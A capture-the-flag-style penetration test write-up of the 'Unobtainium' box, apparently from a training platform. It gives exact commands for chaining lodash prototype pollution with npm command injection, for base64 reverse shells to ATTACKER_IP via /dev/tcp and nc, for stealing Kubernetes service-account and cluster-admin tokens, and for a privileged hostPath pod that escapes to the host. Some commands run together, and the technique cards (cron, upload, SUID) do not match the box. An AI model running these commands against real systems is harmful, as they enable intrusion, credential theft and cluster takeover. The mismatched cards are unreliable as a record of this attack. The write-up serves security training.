Unobtainium
Summary
Recon against <retired-instance-ip> identified three services: SSH (22), an Express/Node.js API on 31337 (empty root response, no /robots.txt), and a Kubernetes API server on 8443 (TLS, returned 401 on all unauthenticated probes including /version and /api/v1). Fuzzing the Node API's endpoint list produced no hits, but a known-creds POST /[REDACTED: placeholder] request with {"auth":{"name":"felamos","password":"[REDACTED: recovered credential]"},"filename":"index.js"} succeeded, returning the API's own server source. The source revealed use of the google-cloudstorage-commands package (vulnerable to OS command injection via its exec wrapper) and a lodash _.merge call on PUT / vulnerable to prototype pollution (CVE-2019-10744-style), gating an /upload route behind a canUpload flag.
Exploitation chained the two bugs: PUT / with body {"auth":{...},"message":{"__proto__":{"canUpload":true}}} polluted Object.prototype to set canUpload=true globally, then POST /upload with a filename field of & echo <base64 reverse-shell>|base64 -d|bash triggered command injection in the vulnerable package's exec call. The resulting shell landed as root inside a Kubernetes pod (webapp-deployment-...), yielding /root/user.txt immediately (foothold, user-owned, and root-in-pod achieved in the same step).
From inside the pod, the mounted service-account token/CA cert (/run/secrets/kubernetes.io/serviceaccount/) allowed authenticated kubectl/curl access to the 8443 API server as default:default, which could list namespaces only — revealing a dev namespace with its own pods (10.42.0.x). The same prototype-pollution + command-injection chain was replayed against the dev namespace's Node service (<retired-instance-ip>:3000), landing a shell as the dev service account. This account had permission to read secrets in kube-system, including a c-admin secret containing a cluster-admin bearer token/CA cert (*.* [*]).
Using the cluster-admin token, an existing pod spec was read to source a valid, pullable image (avoiding a broken dev-alpine image), and a new pod was applied into kube-system with hostPath volume / → /root, hostNetwork: true, and a reverse-shell command. This escaped the container boundary onto the underlying node, from which host /root/root.txt was accessible — completing privilege escalation to root on the host.
- Foothold/user vuln: hardcoded creds felamos:[REDACTED: recovered credential] (Node API, port 31337) + prototype pollution (lodash _.merge, CVE-2019-10744-style) chained with OS command injection in google-cloudstorage-commands npm package. - Privesc: over-permissioned Kubernetes service accounts (dev namespace could read kube-system secrets) → stolen cluster-admin token → privileged pod creation with hostPath:/ + hostNetwork → container escape to host root. - Flags: user_flag=[REDACTED: flag], root_flag=[REDACTED: flag].
Attack path — how the box was taken
Exact commands 4
nmap -sV -p 22,80,8443,31337 $TARGETcurl -sS http://$TARGET/ | grep -i downloadcurl -k -i https://$TARGET:8443/api/v1curl -i http://$TARGET:31337/Exact commands 4
curl -sS http://$TARGET/downloads/unobtainium_debian.zip -o unobtainium_debian.zip && unzip unobtainium_debian.zipar x unobtainium_1.0_amd64.deb && tar -xf data.tar.xznpm install -g asar && asar extract opt/unobtainium/resources/app.asar out/grep -r 'password\|Winter' out/src/js/[REDACTED: placeholder].jsFixRemove hardcoded credentials from the Electron applicationCritical
Exact commands 1
curl -sS -X POST http://$TARGET:31337/[REDACTED: placeholder] -H 'Content-Type: application/json' --data '{"auth":{"name":"felamos","password":"[REDACTED: recovered credential]"},"filename":"index.js"}'FixRemove the server-side file-read endpointHigh
Exact commands 1
curl -sS -X PUT http://$TARGET:31337/ -H 'Content-Type: application/json' --data '{"auth":{"name":"felamos","password":"[REDACTED: recovered credential]"},"message":{"constructor":{"prototype":{"canUpload":true}}}}'FixUpgrade lodash and reject prototype-polluting keys in all merge inputsCritical
Exact commands 4
nc -lvnp 4444P=$(printf '%s' 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 -w0)curl -sS -X POST http://$TARGET:31337/upload -H 'Content-Type: application/json' --data "{\"auth\":{\"name\":\"felamos\",\"password\":\"[REDACTED: recovered credential]\"},\"filename\":\"& echo $P|base64 -d|bash\"}"id; whoami; hostname; cat /root/user.txtFixReplace the vulnerable npm package and never pass user input to shell commandsCritical
Exact commands 5
T=$(cat /run/secrets/kubernetes.io/serviceaccount/token); CA=/run/secrets/kubernetes.io/serviceaccount/ca.crt; curl -sS --cacert $CA --oauth2-bearer "$BEARER_TOKEN" https://$TARGET:8443/api/v1/namespacescurl -sS --cacert $CA --oauth2-bearer "$BEARER_TOKEN" https://$TARGET:8443/api/v1/namespaces/dev/podscurl -sS -X PUT http://$INTERNAL_TARGET:3000/ -H 'Content-Type: application/json' --data '{"auth":{"name":"felamos","password":"[REDACTED: recovered credential]"},"message":{"constructor":{"prototype":{"canUpload":true}}}}'nc -lvnp 4445P2=$(printf '%s' 'bash -i >& /dev/tcp/ATTACKER_IP/4445 0>&1' | base64 -w0) && curl -sS -X POST http://$INTERNAL_TARGET:3000/upload -H 'Content-Type: application/json' --data "{\"auth\":{\"name\":\"felamos\",\"password\":\"[REDACTED: recovered credential]\"},\"filename\":\"& echo $P2|base64 -d|bash\"}"FixApply least-privilege RBAC to all Kubernetes service accounts and disable automatic token mounting where not neededHigh
Exact commands 3
D=$(cat /run/secrets/kubernetes.io/serviceaccount/token); CA=/run/secrets/kubernetes.io/serviceaccount/ca.crt; curl -sS --cacert $CA --oauth2-bearer "$BEARER_TOKEN" https://$TARGET:8443/api/v1/namespaces/kube-system/secrets/c-adminecho '<base64-token-field-from-response>' | base64 -d > /tmp/admin.token && echo '<base64-ca-field-from-response>' | base64 -d > /tmp/admin-ca.crtcurl -sS --cacert /tmp/admin-ca.crt --oauth2-bearer "$BEARER_TOKEN" https://$TARGET:8443/api/v1/namespacesFixPrevent application service accounts from reading kube-system secretsCritical
Exact commands 4
curl -sS --cacert /tmp/admin-ca.crt --oauth2-bearer "$BEARER_TOKEN" https://$TARGET:8443/api/v1/namespaces/kube-system/podsnc -lvnp 4446curl -sS --cacert /tmp/admin-ca.crt --oauth2-bearer "$BEARER_TOKEN"$(cat /tmp/admin.token) -H 'Content-Type: application/json' -X POST https://$TARGET:8443/api/v1/namespaces/kube-system/pods --data '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"hostroot","namespace":"kube-system"},"spec":{"hostNetwork":true,"containers":[{"name":"c","image":"<working-local-image>","imagePullPolicy":"Never","command":["nc","ATTACKER_IP","4446","-e","/bin/bash"],"volumeMounts":[{"name":"h","mountPath":"/root"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}'cat /root/root.txtFixBlock privileged pod creation and hostPath volume mounts via Kubernetes admission controlCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 8443/tcp | ssl/http Golang net/http server |
| 31337/tcp | http Node.js Express framework |